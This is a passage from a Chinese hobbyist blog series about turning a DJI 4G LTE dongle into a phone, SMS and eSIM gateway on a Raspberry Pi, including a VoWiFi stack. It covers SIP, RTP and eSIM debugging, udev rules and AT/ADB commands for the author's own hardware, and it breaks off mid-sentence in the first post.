**调试经验**:这个库故意对注册失败做了脱敏。在认证命令外面自己包了一层日志(只记录结果类型和数据长度,绝不记录密钥材料),一次就找到了问题。注册失败的时候,先看这一层。 成功的完整链路长这样: ```text initial_response 401 → auth_challenge → auth_success aka_complete → ipsec_install installed → protected_send → complete 200 ok ``` ## 短信:只收到一部分,重启后越来越糟 注册成功之后,短信就走 SIP 的 `MESSAGE` 消息。 **原因**:注册时要带一个设备实例标识,代码每次启动都随机生成一个。注册服务器按这个标识区分设备,所以每次重启不是**替换**旧的注册,而是**新增**一条。同一个号码下攒了 10 条注册记录,网络投递短信时挑中的,多半是某个早就死掉的进程留下的地址。 **解决**:按 RFC 7255 的规定,用设备的 IMEI 生成一个稳定标识。拿不到 IMEI 的话(射频停在飞行模式时 IMEI 就是空的,这里恰好就是这种情况),按 IMSI 生成一个 UUID 存进数据库,以后一直用它。 **清理旧的注册也有讲究**:旧记录只能等注册服务器自己过期,最长约一小时,这期间**不要重启服务**(每次重启内层地址都会变,又多一条)。有些运营商拒绝用通配符一次性注销。想看真实的注册列表,要用订阅的方式去查——注册成功响应里回显的过期时间是"被授予的时长",不是"剩余时长",看着像还有一小时,其实早就快过期了。 ## 通话:库里根本没有语音 读代码才发现,那个库做了短信和 USSD,**语音是一个 52 行的空壳**,调用拨号会返回"尚未实现"。 于是语音这部分是自己写的,大约 2700 行,带测试: | 模块 | 内容 | |---|---| | SDP | 媒体能力协商,兼容运营商应答里的各种附加属性 | | RTP | 语音包的封装和解析。时间戳按**采样数**递增(每包 160),不是字节数也不是毫秒 | | 媒体 | RTP 和内部音频总线之间的搬运,自己每 20 毫秒打一次拍子 | | SIP 消息 | 构造和解析,多值头要保序,长度字段永远重算 | | 对话 | 完整的呼叫状态机:临时响应、早期媒体、确认、取消、挂断 | 一个好消息:测试的运营商接受 G.711 编码,不需要 AMR。这意味着整个项目可以保持纯 Go,不需要引入 C 依赖,一条命令就能交叉编译到树莓派。 ### 拨号发出去,什么回复都没有 **现象**:外呼一直停在"拨号中",连一个错误码都没有。而同一条通道上的注册请求一切正常。 ```text INVITE sip:+1877xxxxxxx SIP/2.0 To: ``` **原因**:这个地址是非法的。SIP 地址必须有主机部分(就像邮箱必须有 `@` 后面那一截),没有主机的地址代理服务器直接丢弃,**不回任何东西**。规范要求用 `tel:` 格式,或者带上归属域的完整 SIP 地址。 **解决**:写成 `sip:<号码>@<归属域>;user=phone`,收件人头也一样。改完之后立刻收到 `100 Trying`,九秒后接通。 **这里有个通用的排查方法**:日志里只有"发出"没有"收到",说明请求被网络默默丢掉了。这种情况优先怀疑**消息本身格式错误**,而不是路由、签约或者注册状态。网络设备对不合法的消息通常是沉默,不是报错。 ### `603 Decline`,理由是"用户未知" 看起来像签约问题。但同一张卡在手机上用 Wi-Fi 通话完全正常,所以不是。 **原因**:卡里存了多个公开身份,代码直接取了第一个,而这张卡的第一个是从 IMSI 推导出来的内部身份。计费系统按这个身份查不到用户。 **解决**:优先选归属域内、用户部分不是 IMSI 的那一个——也就是手机号码那个。 ### `408 Request Timeout`,其实对方已经接受了 ```text SIP/2.0 183 Session Progress Require: 100rel RSeq: 2 ``` **原因**:`183` 是一条临时响应,而 `Require: 100rel` 表示这是一条**可靠临时响应**,按 RFC 3262 必须用 `PRACK` 确认收到。代码在请求里声明了支持这个特性,却从来不发确认。网络重传几次之后放弃,整个请求超时。 日志里没有任何一处提到"缺少确认"。只有对着规范一条条读,才会注意到自己声明了一个没有实现的能力——**和前面那个"提议了实现不了的算法"是同一类错误**。 **解决**:收到带序号的临时响应就发确认,重传的不重复发。结果:请求 → 临时响应 → 确认 → 接通,四秒。 ### 几个容易写错的协议细节 - 上游库的请求函数在收到第一个响应时就结束事务。这对短信是对的,对通话是错的:`100 Trying` 会吃掉事务,后面真正的 `200 OK` 被当成不匹配丢掉。通话需要一个能跨越临时响应的版本。 - 成功响应的确认是独立事务,要用**新的分支标识**;失败响应的确认沿用原来的;取消请求则必须重复原请求的分支标识和序号。 - 通话请求也要带接入网信息头。这一条在下一节会变得非常重要。 ### 拨出去听到一段录音 呼叫立刻被一个网络设备接听并播放了一段录音,没有振铃过程。当时怀疑是紧急呼叫地址没登记,还去研究了相关模块。 **最后发现是测试号码拨错了。** 写下来是因为这个错误很典型:在用一个已知可用的号码复测之前,不要从一段听不懂的录音里推导任何结论。 ### 通话声音丢一半 **现象**:连续三次测试,音频以 20 毫秒为单位丢掉大约一半。听起来是断断续续的机器音。 **原因**:隧道库的"取内层数据包"函数,给所有调用者返回的是**同一个 channel**。通话时有两个协议栈同时在读它:信令栈和媒体栈。Go 的 channel 一次只把一个值送给一个接收者,于是每个包随机落到其中一个——落到信令栈那一半,因为那边没有对应的接收端口,被静默丢弃了。 **解决**:改成订阅模式,每个消费者拿一个独立的带缓冲 channel 和一份数据拷贝,非阻塞地扇出。 | | 收到的包 | 补偿的空洞 | 最大单帧间隙 | |---|---|---|---| | 修复前 | 521 | 531 | 395 | | 修复后 | 1052 | 0 | 3 | **被推翻的努力**:在此之前试过加抖动缓冲、解耦播放、改成 40 毫秒一帧——全都打在错误的层上,一个都没有改善这三个数字。 **破案的方法**:把隧道层收到的包数和媒体层收到的包数放在一起对比。包到了隧道却没到媒体,丢失的位置立刻就定位了。**同一条数据通路上,在两个不同的层各埋一个计数器,往往比任何猜测都快。** ## 来电:一度以为是运营商的问题 **现象**:短信收得到,外呼打得出,**来电全部进语音信箱**。协议追踪里看不到任何呼叫请求。 当时排除了一圈本地原因,写下了这样一句结论:"这是运营商侧的设备签约或策略问题,不是我们的协议栈。" **这句话是错的。** 两个本地缺陷叠在一起造成了它。 **第一个**:注册请求里没有带接入网信息头。规范(GSMA IR.51)要求 Wi-Fi 接入的终端必须带这个头,里面写明自己接在哪个 Wi-Fi 上。网络在有来电时要靠它做一个叫"终结接入域选择"的判断——这个号码现在应该往蜂窝送还是往 Wi-Fi 送。没有这个头,网络不认为 Wi-Fi 这条路可用。 而外呼不走这个判断,短信有独立的终结逻辑——**这正好解释了"外呼行、短信行、来电不行"这个奇怪的组合**。 **第二个**:受保护连接上只保存了一条回复通路,第一个响应发出后就清掉了。对短信没问题(一问一答),但通话要在同一条连接上依次发出临时响应、振铃、接通,最后那条接通写不出去,报"没有源通路"。网络等不到接通,就取消呼叫转去了语音信箱。改成按呼叫标识和序号记录,临时响应保留,最终响应才释放。 **教训**:当网络只扣下**一种**业务,而同一个注册地址上的其他业务都正常时,应该把自己的注册消息和规范逐项对比,而不是去猜签约。缺失的那个头就在早就抓到的注册消息里,从头到尾都在屏幕上。 还有一句:**"iPhone 能用"只证明这条线路有签约,不证明自己的实现合规。** 这两件事经常被混为一谈。 ### 同一个问题修了两次 后来把整个东西迁移到新的后端底座上时,那个"稳定设备标识"的修复只存在于旧代码里,没人带过来——来电又一次进了语音信箱。 **没有测试覆盖的补丁,就是会在迁移中丢掉的补丁。** 现在的验证方式很简单:重启前后各拨一次,确认注册消息里的设备标识没变。 ## 还没解决的一个问题 **隧道重建之后外呼失败,只有重启服务才能恢复。** ```text SWu outbound inner packet rejected {"error": "netstack dataplane closed", "packet_len": 220} ``` 旧隧道那一代的网络栈没有被关闭,而语音路径还钉在它上面。更麻烦的是,状态接口里隧道、注册、就绪全都是 true——注册确实已经在新隧道上重建好了——唯一的线索是语音那一项是空的。 思路是让语音客户端重新绑定当前的隧道会话,或者在会话关闭时一并拆掉旧的网络栈。 它和"声音丢一半"其实是同一家族的问题:**一个共享的底层资源,被多个生命周期不同的上层同时持有。** 这个模式在后面几篇里还会出现两次。 ## 这一篇踩的坑,按协议层排 | 协议层 | 踩的坑 | |---|---| | 隧道握手 | 提议了自己不支持的算法 | | SIM 认证 | 序列号重同步被当成了成功 | | 加密 | 内核方案走不通,要在用户态做 | | 注册 | 空认证头、代理要求、接入网信息头、稳定的设备标识 | | 呼叫 | 地址缺主机、身份选错、没发确认、回复通路只存一条 | | 媒体 | 共享 channel 被两个协议栈抢包 | 信令通了,声音正在树莓派里以 8 kHz PCM 的形式流动。下一篇解决一个更朴素的问题:这些声音怎么才能真的从一只听筒里出来。 ## 全系列 1. [它到底是什么](/archives/4002) 2. [树莓派上的短信与 eSIM 网关](/archives/4003) 3. [从零实现 VoWiFi](/archives/4004) 4. [USB 话机、浏览器通话与 ESP32](/archives/4005) 5. [插在 Mac 上](/archives/4006) 6. [iPhone 客户端](/archives/4007) 7. [安卓平板直接驱动](/archives/4008) --- *这个系列是个人学习和技术研究记录。请遵守所在地法律法规和运营商服务条款。* --- ## 把 SIM 卡变成一台服务器:树莓派上的短信与 eSIM 网关(二) Date: 2026-08-19 URL: https://blog.wo.ai/archives/4003 Categories: Raspberry Pi, Technology > 上一篇:[它到底是什么](/archives/4002) | 下一篇:[从零实现 VoWiFi](/archives/4004) 上一篇搞清楚了那只 4G dongle 是什么:一台跑着 Linux 的 LTE 模组,能打电话、发短信、管 eSIM。这一篇让它真正开始干活。 目标是一台常年开机的树莓派,上面插一到两只模组,提供这些东西: - 一个网页后台,能看模组状态、信号、SIM 卡信息; - 短信收发和会话记录,重要短信自动转发到 Telegram、邮件或者其他地方; - eSIM 配置文件的下载、启用、停用、删除; - 把 4G 网络以代理的形式共享给局域网。 一个很实际的用途:一张不常用但不能停的号码——银行验证码、国外的号码、备用卡——不必占着手机卡槽,扔在这台树莓派上,短信自动推到手机上,需要时还能打电话。 通话和 Wi-Fi 通话是更大的话题,放在第三、四篇。 ## 为什么不自己从头写 一开始确实自己写了一个 Go 守护进程。写着写着发现,在 Linux 上大部分脏活系统已经替你干了:串口驱动、网卡驱动、防火墙转发,都是现成的。剩下要写的是设备管理、短信解码、eSIM 流程、通知推送、网页后台——而这些有个叫 VoHive 的项目已经做得相当完整了,后端 Go,前端 Vue,eSIM 基于 euicc-go。 于是换了思路:用 VoHive 的后端作为底座,把自己在真机上验证过的东西(通话、Wi-Fi 通话的一堆修复、USB 话机支持)一个个移植上去。 这个决定本身没问题,但它埋了一个雷,值得先说:**迁移时最容易丢的,恰恰是那几行没有测试覆盖的修复。** 后来 Wi-Fi 通话的来电又一次全部进了语音信箱,外呼又一次没反应,查到最后都是同一个原因——旧代码里的单行修复没被带过来。第三篇会细说这两次重复劳动。 ## 硬件 | 项目 | 配置 | |---|---| | 主机 | Raspberry Pi 4 Model B,Debian 13(arm64) | | 模组 | QDC507 两只,挂在同一个 USB Hub 上(一张国外卡,一张国内卡) | | 供电 | 必须足 | 供电那一条不是客套话。Pi 4 的几个 USB 口是联动的:**断掉一个口,会把所有口一起断掉**。后面讲到 USB 话机死机时会再提到这件事——很多"复位一下设备"的常规操作,在 Pi 4 上会顺手把模组也复位掉。 ## 编译和部署 纯 Go,不需要 cgo,可以在 Mac 或者 Linux 开发机上交叉编译: ```sh make build-arm64 ``` **第一个坑:没装 UPX 的话,`make` 直接报错。** UPX 是个压缩可执行文件体积的工具,Makefile 把它当成了必需品。不想装的话,把 go build 那几行单独拿出来跑就行: ```sh npm ci --prefix web && npm run build --prefix web rm -rf internal/web/dist && cp -R web/dist internal/web/dist CGO_ENABLED=0 GOOS=linux GOARCH=arm64 go build -trimpath -tags "with_utls nomsgpack" \ -ldflags "-s -w" -o dist/vohive_linux_arm64 ./cmd/vohive ``` 顺带一提,`go build ./cmd/vohive` 不带 `-o` 会在仓库根目录留下一个 87 MB 的二进制文件,一不小心就提交上去了。 部署目录长这样,配置、数据、日志都相对于二进制所在的位置: ```text /opt/vohive-call/ ├── vohive # 二进制 ├── config/config.yaml ├── data/ # 数据库、证书、录音 ├── logs/app.log ├── qdc507-route # 语音路由脚本(第四篇) └── qdc507/ # 模组语音驱动(自备,第四篇) ``` 最小配置: ```yaml server: port: 7575 debug: false # 排查 eSIM 问题时改成 true,要重启才生效 web: username: admin password: 请改掉 devices: - id: us name: 主卡 modem_imei: "86xxxxxxxxxxxxx" device_backend: at ``` 配一个 systemd 服务让它开机自启: ```ini # /etc/systemd/system/vohive-call.service [Unit] Description=VoHive gateway After=network-online.target [Service] WorkingDirectory=/opt/vohive-call ExecStart=/opt/vohive-call/vohive Restart=on-failure [Install] WantedBy=multi-user.target ``` ```sh sudo systemctl daemon-reload sudo systemctl enable --now vohive-call tail -f /opt/vohive-call/logs/app.log ``` 以后更新就是覆盖二进制再重启服务。 ## udev 规则:现在不做,以后一定出事 udev 是 Linux 管理设备节点的机制,可以给设备起固定名字、设权限、打标记。这里有两件事必须做。 ### 让 ModemManager 别碰这只模组 ModemManager 是桌面 Linux 上管理蜂窝设备的系统服务。它的工作方式是往串口里写 AT 命令探测设备能力。问题在于,它的命令和你的命令会交错,回复也就错位了——你发 `AT+CSQ` 问信号,收到的是它那条命令的回复。 这种故障看起来和固件 bug 一模一样,能让人查很久。 不要直接停掉 ModemManager(机器上别的设备可能还要用),标记让它忽略就好: ```udev SUBSYSTEM=="usb", ATTRS{idVendor}=="2c7c", ATTRS{idProduct}=="0125", ENV{ID_MM_DEVICE_IGNORE}="1" SUBSYSTEM=="tty", ATTRS{idVendor}=="2c7c", ATTRS{idProduct}=="0125", ENV{ID_MM_DEVICE_IGNORE}="1" SUBSYSTEM=="net", ATTRS{idVendor}=="2c7c", ATTRS{idProduct}=="0125", ENV{ID_MM_DEVICE_IGNORE}="1" ``` ### 给每只模组一个固定的名字 **现象**:两条线路同时掉线,一掉就是好几天,日志里一直在刷 `ATE0: command timed out`。 **原因**:两只模组的 `ttyUSB` 编号整段互换了。第一只从 `ttyUSB2` 变成了 `ttyUSB3`,第二只从 `ttyUSB6` 变成了 `ttyUSB5`。程序还对着老编号发命令,而那个位置现在是另一只模组的诊断口——诊断口当然不会回应 AT 命令。 **为什么不能靠常规办法**:两只模组的厂商 ID、产品 ID、序列号完全一样(序列号还是上一篇说的那 256 个 `0xAA`)。唯一能区分它们的只有插在哪个物理端口上。 网上到处能搜到的这种写法**根本不会生效**: ```udev SUBSYSTEM=="tty", ATTRS{bInterfaceNumber}=="02", ATTRS{idVendor}=="2c7c", ... ``` 原因是 udev 要求一条规则里所有 `ATTRS` 匹配的是**同一个父设备**,而 `bInterfaceNumber` 和 `idVendor` 在设备树的不同层级上,永远凑不到一起。这是个很常见的误解,抄来的规则不报错,只是静静地不匹配。 正确做法是直接匹配接口的设备名,格式是 `Hub端口:配置.接口`: ```udev SUBSYSTEM=="tty", KERNELS=="1-1.1:1.2", SYMLINK+="modem-a-at" SUBSYSTEM=="tty", KERNELS=="1-1.2:1.2", SYMLINK+="modem-b-at" ``` ```sh sudo udevadm control --reload && sudo udevadm trigger ls -l /dev/modem-a-at /dev/modem-b-at ``` 之后所有地方都用这两个符号链接。**永远不要在配置里写 `/dev/ttyUSB2`。** ## 网页后台和证书 后台地址是 `https://<树莓派的IP>:7575`,默认用自签名证书。 **坑**:浏览器弹出安全警告,点了"继续访问",页面能打开,但部分功能仍然不工作,服务端日志不停地出现 `tls: unknown certificate`。 原因是那个"继续访问"只对当前页面生效,页面里后续建立的 WebSocket 连接(网页通话要用)仍然会被拒绝。 真正的解决办法是把证书加进系统信任,然后**完全退出浏览器**再打开: ```sh # macOS security add-trusted-cert -d -r trustRoot \ -k "$HOME/Library/Keychains/login.keychain-db" server.crt ``` 这条后面还会再出现一次——第四篇的网页通话、第六篇的 iPhone App,都栽在同一件事上。 ## 短信 短信的编解码(PDU 格式、中文的 UCS2 编码)VoHive 已经处理好了,收到之后入库、按会话展示、按规则推送。 真正遇到的问题都不在编解码,而在**短信根本没到程序手里**。 ### SIM 卡存满,短信被静默拒收两周 **现象**:从某天起一条短信都收不到。没有报错,没有告警,程序日志一切正常。 一查: ```text AT+CPMS? +CPMS: "ME",23,23,"ME",23,23,"ME",23,23 AT+CNMI? +CNMI: 2,1,0,0,0 ``` 第一行的意思是:存储容量 23 条,已用 23 条,满了。 **原因**:`+CNMI` 的第二个参数是 1,意思是"新短信先存进存储,再上报一个通知"。存储满了,投递在短信层就被拒绝,网络重试一阵子之后放弃。 而程序只在收到通知时才去读短信、读完删除。那些程序没运行时到的、换卡之前留下的短信,永远没人读,也就永远没人删。那 23 条全是上一张卡收到的营销短信。 这个坑的杀伤力在于:**一张卡留下的积压,会让之后插进来的每一张卡都收不到短信。** **解决**:加一个定期清扫——`AT+CPMS?` 看占用,`AT+CMGL=4` 把存储里的全部读出来,每条都走和实时短信相同的解码与回调,然后 `AT+CMGD` 逐条删掉。存储为空时只花一条命令,所以可以放心频繁跑。 ### 清扫看起来有效,其实是巧合 **现象**:清扫挂在"SIM 卡就绪"事件上,新短信确实能进来了。但仔细一看,新短信通知的路径一次都没有真正触发过。 **原因**:就是上一篇那个坑——URC 端口是 `usbat`,通过 ADB 读 `/dev/smd7` 的程序收不到通知。日志里那些看起来像通知的 `+CPIN`、`+CSQ`,其实是轮询命令的回复被误认成了主动上报,恰好触发了清扫。 一个 bug 掩护了另一个 bug,整件事看起来是工作的。 **解决**:收件箱改成独立的 20 秒定时轮询,不再依赖任何事件;同时在初始化时检查 URC 端口,不是 `"all"` 就改成 `"all"`(先读再改,避免每次启动都写一次掉电保存的参数)。能收到通知的模组立刻收到短信,收不到的最多晚 20 秒。 验证的时候看到一条运营商已经重试了几个小时的验证码,终于落进了数据库。 ### 同一个号码开了两个会话 `138xxxxxxxx` 和 `+86138xxxxxxxx` 被当成两个不同的人。解决办法是统一折叠国家码前缀,短号码(运营商服务号)和国外号码保持原样。 ## eSIM eSIM 不是一张特殊的卡,而是一张**能装配置文件的卡**。运营商给你的那个二维码或激活码,本质上是让卡去某台服务器下载一份配置。这个流程叫 SGP.22,是 GSMA 的标准。 在这里,整个流程走的是 AT 命令的逻辑通道,不依赖任何专用驱动: ```text AT+CCHO="A0000005591010FFFFFFFF8900000100" -> +CCHO: 1 # 打开卡里的管理程序 AT+CGLA=1,22,"81E2910006BF3E035C015A" -> +CGLA: 4,"6115" # 问 EID(卡的唯一编号) AT+CGLA=1,10,"81C0000015" -> BF3E125A109000 AT+CCHC=1 -> OK ``` 后台里能看到卡的厂商、固件、证书、已装的配置文件,可以用激活码下载新的,也可以启用、停用、重命名、删除。 ### `AT+CGLA` 的三个怪癖 这三条哪一条不对都是直接报错,而错误信息不会告诉你原因: | 怪癖 | 表现 | |---|---| | 十六进制参数**必须加引号** | 不加引号直接 `ERROR` | | 长度写的是**十六进制字符数**,不是字节数 | 5 个字节的数据,长度要写 10 | | 逻辑通道 1 上取回数据要用 `0x81` 开头 | 按 ISO 标准写 `0x01` 会返回 `6F00` | 另外,这类命令先回一个 `61XX`,表示"有 XX 字节数据等着取",要再发一条取数据的命令才拿得到。 普通 SIM 卡(不是 eUICC)没有这个管理程序,`AT+CCHO` 会直接 `ERROR`。这是正常的,不是坏了。 ### 每次下载都死在同一句话上 **现象**: ```text 下载 eSIM profile 失败 ... err="tag encoding with less than one byte\nEOF" ``` 这句话翻译过来只是"解析器拿到了 0 个字节",完全没说为什么是 0 个字节。 **怎么查的**:把 `server.debug` 打开重启,库会记录每一条和卡之间的往返,以及和运营商服务器的完整请求响应。又额外在每次卡命令往返上加了一行日志,只记命令头、长度和状态字。 关键在于:**只有分块级别的状态字能看出是在哪一块放弃的**,上层只能看到拼好的整条响应,而那条响应是空的。 ```text 81E21100 9000 81E21101 9000 ... 81E21106 9000 <- 一直是"继续",没有"结束" ``` **原因**:这一次的数据恰好是 840 字节,库按 120 字节一块切开,正好 7 块。而它判断"哪一块是最后一块"用的是 `长度 / 120`,840 除以 120 等于 7,但块的下标只到 6。于是每一块都被标成"后面还有",卡就一直回"好的,继续",等着永远不会来的下一块。上层读到一条空响应。 一个正好卡在整除边界上的差一错误。数据长度不是 120 的整数倍时,一切正常。 **解决**:上游已经修了(`blockCount = 1 + (len-1)/mss`),升级依赖即可。修完之后第 7 块终于发出了"结束"标志,流程第一次真正走到运营商服务器。 ### 修好之后,服务器说"不" ```text 8.1.1 / 3.8 EID does not match the expected value, or there is no pending RSP Session for this eUICC. ``` 这次是一个真实的拒绝:那个激活码已经在一台手机上用掉了。 激活码通常是一次性的,有些还绑定了卡的 EID。测试时要准备一个没用过的码,或者换一张卡。 值得高兴的是,**一个真实的业务拒绝,比一个解析错误有价值得多**——它说明前面几十步全对了。 ## 把 4G 共享给局域网 每个模组可以起一个代理实例,出站流量严格绑定到该模组的网卡上,不会串。 **共享之前,先确认这张卡是不是在漫游。** 测试用的一张卡注册状态就是漫游(`AT+CEREG?` 返回 `0,5`,5 表示已注册且漫游)。这种状态下,一条建立数据连接的命令,或者一次 DHCP,都可能产生很贵的流量费。 这张卡后来只用来做 Wi-Fi 通话(下一篇),蜂窝射频甚至可以一直停在飞行模式。 ## 几个小坑 | 现象 | 原因 | 解决 | |---|---|---| | 不在安装目录下启动就报 `open config/config.yaml: no such file or directory` | 配置路径相对于工作目录 | 工作目录下找不到时,改用二进制所在目录 | | `unable to open database file: out of memory (14)` | `data/` 目录不存在。这个错误信息完全在误导人 | 打开数据库前先建目录 | | 调试时 AT 口被占用 | 服务正在运行并独占了它 | 调试开始时停一次服务,调完再起,不要每一步都重启 | | 一个读进程被遗留在模组里,之后的程序"收不到回复" | 杀掉本地的 adb 客户端**不会**杀掉模组里的读进程 | 第一次打开设备节点时清理残留(第五篇详述) | ## 现在有什么了 一台插着电、常年开机的树莓派,管着两张 SIM 卡,收短信、发短信、下载 eSIM、共享 4G。短信推到手机上,整个过程不占任何一个手机卡槽。 下一篇是整个系列里最硬的一篇:不用蜂窝信号,让 SIM 卡通过 Wi-Fi 连上运营商的核心网,照样打电话收短信。 ## 全系列 1. [它到底是什么](/archives/4002) 2. [树莓派上的短信与 eSIM 网关](/archives/4003) 3. [从零实现 VoWiFi](/archives/4004) 4. [USB 话机、浏览器通话与 ESP32](/archives/4005) 5. [插在 Mac 上](/archives/4006) 6. [iPhone 客户端](/archives/4007) 7. [安卓平板直接驱动](/archives/4008) --- *这个系列是个人学习和技术研究记录。请遵守所在地法律法规和运营商服务条款。* --- ## 一只大疆 4G dongle,拆开发现里面跑着 Linux(一) Date: 2026-08-12 URL: https://blog.wo.ai/archives/4002 Categories: Technology > 下一篇:[树莓派上的短信与 eSIM 网关](/archives/4003) 大疆有一个给无人机和遥控器用的 4G 配件,一只 U 盘大小的东西,插上 SIM 卡就能让设备联网。二手市场上很便宜。买它的人大多拿它当上网卡用。 把它插到电脑上,第一印象也确实就是个上网卡:macOS 什么反应都没有,Linux 冒出一排叫 `ttyUSB0` 到 `ttyUSB3` 的设备。看上去乏善可陈。 但它里面其实是一台完整的 LTE 模组——跑着 Linux,有 root 权限的调试接口,能打电话、收发短信、读写 eSIM。接下来这个系列会把它接到树莓派、Mac、iPhone 和安卓平板上,让它真的当一部电话用。所有后面的东西,都建立在这一篇搞清楚的几件事上。 先解释两个词,后面会反复出现: - **模组(module)**:一块完整的蜂窝通信芯片组,自己有 CPU、有系统、有射频。手机里的"基带"就是这种东西,只是被焊死在主板上。独立卖的模组通常通过 USB 或串口接到主机上,由主机发命令指挥它。 - **AT 命令**:指挥模组的语言,一种非常古老的文本协议,从上世纪的拨号猫一直用到今天。你发一行 `ATI` 过去,它回一段自我介绍。所有蜂窝模组都说这套话。 ## 它到底是什么 先问它自己是谁: ```text ATI Baiwang QDC507 Revision: QDC507GLEFM21 ``` 查下来是这样一台东西: | 项目 | 值 | |---|---| | USB 标识(大疆版) | `2CA3:4006` | | USB 标识(通用版) | `2C7C:0125`(和移远 EC25 系列同一个 ID) | | 基带芯片 | 高通 MDM9607,Cat.4 LTE | | 模组内部系统 | Linux,内核 3.18.44,调试服务以 root 运行 | | AT 命令风格 | 移远(Quectel)系,`AT+QCFG`、`AT+QNETDEVCTL`、`AT+QGPS` 这一套 | 这个发现很有用:网上关于移远 EC20/EC25 的资料基本都能套用——AT 命令、USB 配置、驱动都一样。大疆版和市面上的通用版在我们要用的功能上没有区别,后面统一叫它 QDC507。 ## 插上去之后,究竟露出了什么 一个 USB 设备可以同时提供好几个"接口",就像一根线里塞了好几条独立通道。模组露出哪几条,由一个叫 `usbcfg` 的配置决定: ```text AT+QCFG="usbcfg" +QCFG: "usbcfg",0x2C7C,0x125,1,1,1,1,1,1,1 │ │ │ │ │ │ └─ USB 音频 │ │ │ │ │ └─── ADB │ │ │ │ └───── 网卡 │ │ │ └─────── Modem │ │ └───────── AT │ └─────────── NMEA(GPS) └───────────── DIAG(诊断) ``` 最后两位是整个系列的钥匙。 **ADB 开着**,意味着可以像调试安卓手机那样 `adb shell` 进到模组里面的 Linux,而且直接就是 root。ADB 是安卓的调试桥,高通的模组普遍带着它。 **音频开着**,意味着模组会额外伪装成一块 USB 声卡。通话的声音将来就从这块声卡进出。 手上这只大疆版出厂就是两个都开。另一只通用版出厂是两个都关,需要先解锁:`AT+QADBKEY?` 会给一个 8 位挑战码,用 MD5-crypt 算出应答,再用 `AT+QADBKEY="…"` 提交,然后才能改 `usbcfg`。改完发 `AT+CFUN=1,1` 让模组重启,USB 会重新枚举一次,不用拔插。 还有一个细节,它决定了后面每个平台的命运:前五个接口都是 **USB 厂商自定义类**。USB 有一套标准分类(键盘是一类,U 盘是一类,声卡是一类),操作系统看到标准类就自动装驱动。厂商自定义类等于告诉系统"这是我自己的东西,你别管"。结果是: | 平台 | 能看到什么 | |---|---| | Linux | `option` 驱动认领这些接口,出现 `ttyUSB0~3`,网卡另有驱动认领 | | macOS | 没有任何驱动认领,所以 `/dev/cu.*` 里根本不会出现这只模组 | | Android | 同样没有驱动,App 只能用 USB Host API 自己去碰 | 也就是说,在 Mac 和安卓上,那条"发 AT 命令"的常规通道从一开始就不存在。 ## 绕过去:模组内部有一条通道 既然外面没有串口,那就从里面走。`adb shell` 进去看看: ```sh adb shell # ls /dev/smd* /dev/smd7 ... ``` `/dev/smd7` 是模组内部直通基带 AT 解释器的一个设备节点。只要 ADB 能用,任何平台都可以这样发 AT 命令: ```sh adb shell "cat /dev/smd7 > /tmp/at.out 2>/dev/null & CP=\$!; sleep 0.3; \ printf 'ATI\r' > /dev/smd7; sleep 2; kill \$CP 2>/dev/null; cat /tmp/at.out" ``` 看着别扭,但它管用,而且它成了后来 Mac App 和安卓 App 共同的控制通道。一个没有驱动的平台,只要能说 ADB,就能完整指挥这只模组。 ## 四种联网方式 模组怎么把网络交给主机,也是可配置的: ```text AT+QCFG="usbnet",N 改完要 AT+CFUN=1,1 重启生效 ``` | N | 模式 | Linux | macOS | Android | |---|---|---|---|---| | 0 | QMI | 有驱动,但要自己拨号 | 没有 | 没有 | | 1 | ECM | 有驱动 | **直接出现一块网卡** | **直接当 USB 以太网** | | 2 | MBIM | 有驱动 | 没有 | 部分支持 | | 3 | RNDIS | 有驱动 | 没有 | 部分支持 | ECM 是这里面最省事的一个:模组自己做 NAT 和 DHCP,主机拿到一个 `192.168.225.x` 的地址,模组自己是 `.1`。插上就有网,什么都不用配。中国移动的卡还会直接下发原生 IPv6。 这个"省事"后面会变成一个麻烦,第五篇会讲到——它省事到你根本不知道自己的流量已经走了 SIM 卡。 ## 拨通了,但没有声音 这是第一个真正让人困惑的地方。 `ATD10086;` 能拨出去,`AT+CLCC` 能查到通话处于接通状态,对面也确实接了——但两边都听不到任何声音。 原因是**信令和声音是两套完全独立的东西**。AT 命令负责信令:拨号、振铃、接通、挂断。声音走的是另一条路,而这条路默认是断的。 移远系列模组传统上有个 `AT+QPCMV` 命令,可以把通话音频从 USB 串口里吐出来。这个固件上它是个空壳:`AT+QPCMV=?` 说支持,真去执行 `AT+QPCMV=1,0` 回 `ERROR`,而用 `AT+CLAC` 列出的 246 条可用命令里根本没有它。 真正的路径在模组内部:加载语音驱动,跑一遍音频校准,再启动一个桥接程序,把高通 DSP 里的通话音频接到那块 USB 声卡上。主机侧看到的,就是一块 **8 kHz 单声道 16 bit** 的声卡——电话音质的标准规格。 这条路细节很多,留到第四篇。这里只要记住一件事:**`ATD` 只负责信令,声音要另外搭,而且每通电话之前都得检查一遍。** ## 还有几个能力 - **eSIM**:插入 eUICC 卡(可写入的 eSIM 卡)时,可以用 `AT+CCHO`、`AT+CGLA`、`AT+CCHC` 直接和卡里的管理程序对话,完整跑一遍 eSIM 下载流程。第二篇讲。 - **ISIM**:同一套命令能读取 ISIM 应用、跑 IMS 鉴权,这是 Wi-Fi 通话的基础。第三篇讲。 - **GPS**:支持,默认关。但这个功能有毒——`AT+QGPS=1` 之后,定位数据会**直接灌进 `/dev/smd7`**,把 AT 命令的回复全部淹掉,而且这个固件不支持把定位输出改到别的端口。开着 GPS 期间,通话和短信全都会乱。想用 GPS 就别想用别的。 ## 刚上手就会撞到的五个坑 这些不是什么高深问题,但每一个都足够让人卡上大半天。 ### USB 序列号是 256 个 0xAA **现象**:Mac 上 `adb devices` 明明能看到设备,但程序里发出去的所有 adb 命令都像石沉大海,没有任何输出。 **原因**:这个固件的 USB 序列号字段是 256 个字节的 `0xAA`,不是合法的 UTF-8 文本。Swift 的严格解码直接返回 `nil`,之后所有命令都带着一个空序列号,静默失败。 **怎么办**:解码要宽松。更重要的是,**不要用序列号区分模组**,因为每一只都一模一样。用 `adb -t ` 寻址,用 USB 物理路径(比如 `usb:1-1.2`)作为持久身份——transport id 每次重新枚举都会变,USB 路径不会。 ### 两只一样的模组分不清 同样的原因:Linux 上两只 `2c7c:0125` 也无法靠厂商 ID、产品 ID 或序列号区分。一次重新枚举之后,两只模组的 `ttyUSB` 编号整段互换,所有写死的路径同时失效。真正的解法是按物理端口写规则,第二篇给出具体写法。 ### `adb forward` 看起来成功,其实不通 `adb forward tcp:PORT dev:/dev/smd7` 能建立,返回也正常,但读写都没有任何数据。不要在它上面搭任何东西。 ### 来电提示根本没发到你在读的地方 ```text AT+QURCCFG="urcport" +QURCCFG: "urcport","usbat" ``` 模组主动上报的事件(`RING` 来电、`+CLIP` 